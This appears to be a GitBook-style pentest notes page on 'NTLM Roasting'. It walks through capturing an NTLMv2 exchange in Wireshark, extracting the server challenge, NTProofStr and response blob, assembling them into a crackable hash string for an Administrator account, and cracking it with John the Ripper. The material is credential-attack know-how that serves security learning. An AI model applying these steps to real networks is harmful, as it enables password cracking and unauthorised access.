> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/lateral-movement/ntlm-roasting.md).

# NTLM Roasting

Active Directory security notes for NTLM Roasting, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.

From a Windows machine, we first cause NTLM authentication.

{% code overflow="wrap" %}

```bash
dir //172.16.0.10/c$
```

{% endcode %}

If we capture traffic in Wireshark, we can filter on `NTLMSSP`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83aaff05544acb92e6f78b3c5df164a6cffa405d%2Fimage%20(22).png?alt=media" alt=""><figcaption></figcaption></figure>

We then retrieve the challenge sent by the server.

* 9dcfb27e14194959

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16cf3643a3dc8123649fffa4f1cc15739906af80%2Fimage%20(23).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

In the response, we also find the encrypted part sent by the client.

{% code overflow="wrap" %}

```bash
d4742b082e949c7f93311599134ffb9b01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8340f31d34426495761540ffdaeb28ca9d2c6eb0%2Fimage%20(24).png?alt=media" alt=""><figcaption></figcaption></figure>

We also note the `NTProofStr`.

* d4742b082e949c7f93311599134ffb9b

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ec8d11435a363e9d780530d3f72575e6de1c2d0%2Fimage%20(26).png?alt=media" alt=""><figcaption></figcaption></figure>

Finally, you must identify the user name making the request.

* Administrator

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb9d2131f49effd791139746a6c8aeb0b1c20dc%2Fimage%20(25).png?alt=media" alt=""><figcaption></figcaption></figure>

All these values ​​are then assembled into the format expected by the breaking tool.

{% code overflow="wrap" %}

```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```

{% endcode %}

{% code overflow="wrap" %}

```bash
Administrador::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

From Linux, we can then attempt to break the NTLMv2 response.

{% code overflow="wrap" %}

```bash
john admin.ntlmv2
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23d4eae6b63c5e0297fc0d17cef8210e3985cadd%2Fimage%20(3313).png?alt=media" alt=""><figcaption></figcaption></figure>


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